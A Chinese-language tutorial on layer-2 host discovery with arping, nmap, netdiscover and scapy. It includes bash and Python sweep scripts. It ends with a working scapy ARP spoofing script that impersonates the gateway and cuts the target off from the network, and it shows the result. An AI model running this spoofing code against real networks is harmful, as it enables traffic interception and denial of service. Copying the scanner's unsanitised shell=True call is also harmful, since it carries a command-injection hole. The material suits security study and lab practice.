存活主机扫描主要通过2,3,4层发现
二层涉及物理系统寻址,就是我们熟悉的mac地址,利用arp协议进行探测,扫描速度比较快,也比较可靠,一般过滤的比较少,但缺点就是扫描的时候限于内网,不可以路由
arping
arping是通过arp协议发出ping包进行探测
最基本的使用
arping 192.168.0.1
如果这个内网ip存在,就会跟类似ping一样回复
如果这个内网ip不存在,就会回复unreachable
不过这样使用的话会一直发包不停,所以我们需要使用到-c参数,通过-c可以指定发包的个数
arping 192.168.0.1 -c 1
还有-d参数,如果有来自两个不同MAC地址的答案,exit 1,这个可以判断有没有人正在进行arp欺骗
arping 192.168.0.1 -d
如果正常退出说明就是正常的
由于回复的内容比较多,看起来很麻烦,所以我们可以通过管道的方式进行过滤,只看我们想要的ip地址
arping 192.168.0.1 -c 1 |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
如果存在就会返回一个ip地址
如果不存在什么也返回不了
当然由于arping本身不可以一次扫描多个目标,我就自己写了一个脚本,直接复制粘贴,保存为name.sh(name随便写),然后chmod +x name.sh
使用方法
./name.sh -i eth0 可以对你处于的这个内网.0-.254进行扫描,发现存活主机
./name.sh -t 192.168.0.1 扫描单独的
./name.sh -f 1.txt 扫描文件内包含的ip,一行一个
#!/bin/bash
if [ $# -ne 2 ];then
echo "这个脚本的使用方法"
echo "-f 指定要读取ip地址的文件"
echo "-t 指定单独的ip地址"
echo "-i 指定要使用的网络接口"
echo "-h 打印帮助菜单"
exit
fi
if [ -f $2 ]; then
for addr in $(cat $2);do
arping -c 1 $addr |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
done
exit
fi
if [ "$1" = "-i" ];then
prefix=$(ifconfig $2|grep 'inet'| grep -v 'inet6' |cut -d '.' -f 1-3|cut -d 't' -f 2 )
for addr in $(seq 1 255);do
arping -c 1 $prefix.$addr |grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
done
exit
fi
if [ "$1" = "-t" ];then
arping -c 1 $2|grep 'bytes'|cut -d '(' -f 2|cut -d ')' -f 1
exit
fi
nmap
二层扫描还可以用到nmap
nmap默认是arp发包探测,(当然因为是内网网段)
nmap 192.168.3.1
因为还会探测开放的端口,而这里我们不需要探测所以可以用 -sn: Ping扫描-禁用端口扫描
nmap 192.168.3.1 -sn
nmap也可以一次扫描多个
nmap 192.168.1.1-255 -sn
也可以从文件导入
nmap -iL file.txt -sn
netdiscover
专用于二层发现,分为主动和被动扫描
主动
netdiscover -i eth0
netdiscover -l file.txt
netdiscover -r 192.168.0.0/24
netdiscover -r 192.168.0.0/16
netdiscover -r 192.168.0.0/8
A类IP地址的默认子网掩码为255.0.0.0(由于255相当于二进制的8位1,所以也缩写成“/8”,表示网络号占了8位);
B类的为255.255.0.0(/16);
C类的为255.255.255.0(/24)。
/30就是255.255.255.252。
/32就是255.255.255.255.
被动
netdiscover -p
他有点像进入monito模式的网卡,专门抓网络中的arp包,但我这个好像有点问题,一直抓不到 ,被动的好处就是隐蔽,防止报警,但可能效率比较低
scapy
安装个依赖
apt-get install python3-gnuplot
命令行输入scapy进入交叉编译环境
emm这就是我们之后需要配置的arp包
hwtype表明ARP实现在何种类型的网络上,这里为1代表Ethernet网,也就是我们的以太网
ptype就不用说了,这里是ipv4
hwlen,硬件地址长度,这里我们不用设置,但我们要清楚是6个字节,这个可以在回包里面体现
plen,协议地址长度,为4字节, 但这里也不用设置
代表ARP数据包类型,01为请求包,02为应答包
op字段为1表示ARP请求,op字段为2表示ARP应答,这里的who-has就是1
hwsrc就是我们的来源 mac地址,psrc就是来源的ip地址
hwdst是目标mac地址,pdst是目标ip地址
而我们需要设置的就是目标ip地址,然后就可以发送
a=ARP()
a.pdst="192.168.3.1"
answer=sr1(a)
下面是我们的回包
这里的op就是2,属于应答包然后返回了目标的mac地址
报文中的padding字段是填充数据,为了保证帧最少有64个字节
当然,我们也可以编辑一个python的脚本来使用
#! /usr/bin/python
# -*- coding: utf-8 -*-
import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:
print "脚本的使用说明"
print "-h --help 打印这份说明"
print "-f 指定包含需要判断的主机ip文件"
print "-i 指定需要扫描的同网段主机的网卡接口"
print "-t 指定需要扫描的单一主机"
sys.exit()
if '-i' in sys.argv:
interface=str(sys.argv[2])
ip=subprocess.check_output("ifconfig "+interface+" |grep 'inet'| grep -v 'inet6' |cut -d '.' -f 1-3|cut -d 't' -f 2",shell=True).strip()
prefix=ip.split('.')[0]+'.'+ip.split('.')[1]+"."+ip.split('.')[2]+"."
for addr in range(0,255):
dest=prefix+str(addr)
answer=sr1(ARP(pdst=dest),verbose=0,timeout=0.1)
try:
if int(answer.hwlen)==6:
print prefix+str(addr)+" is alive"
except:
pass
elif '-f' in sys.argv:
filename=str(sys.argv[2])
f=open(filename, "r")
for adrr in f.readlines():
answer=sr1(ARP(pdst=adrr.strip('\n')),timeout=0.1,verbose=0)
try:
if int(answer.hwlen)==6:
print adrr.strip('\n')+" is alive"
except:
pass
elif '-t' in sys.argv:
dest=str(sys.argv[2])
answer=sr1(ARP(pdst=dest),verbose=0,timeout=0.1)
try:
if int(answer.hwlen)==6:
print dest+" is alive"
except:
pass
else:
print "参数错误,请查看帮助说明"
sys.exit()
下面这个包就是我们之前用的工具发的包,不管是nmap,netdiscover,arping还是scapy都是类似下面这种
arp欺骗
#! /usr/bin/python
# -*- coding: utf-8 -*-
import logging
import subprocess
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
if len(sys.argv)==1 or '-h' in sys.argv or '--help' in sys.argv:
print "脚本的使用说明"
print "这个脚本用来欺骗指定ip"
print "-h --help 打印这份说明"
print "-t 指定需要欺骗的目标"
sys.exit()
if '-t' in sys.argv:
targetip=str(sys.argv[2])
localmac=subprocess.check_output("ifconfig eth0 |grep 'ether'|cut -d 'r' -f 2|cut -d 't' -f 1",shell=True).strip()
prefix=targetip.split('.')[0]+'.'+targetip.split('.')[1]+'.'+targetip.split('.')[2]+'.'
fakeip=prefix+str(1)
a1=sr1(ARP(pdst=targetip),verbose=0)
targetmac=a1.hwdst
while(1):
answer=sr1(ARP(op=2,hwsrc=localmac,psrc=fakeip,pdst=targetip,hwdst=targetmac),timeout=1,verbose=0)
try:
if answer==None:
print "正在arp欺骗"
except:
pass
靶机原来的arp缓存
执行脚本后的arp缓存
发现无法上网了
但注意,arp欺骗一定要持续发包,不然过一会就会自动更新缓存了,就会恢复到原来的arp缓存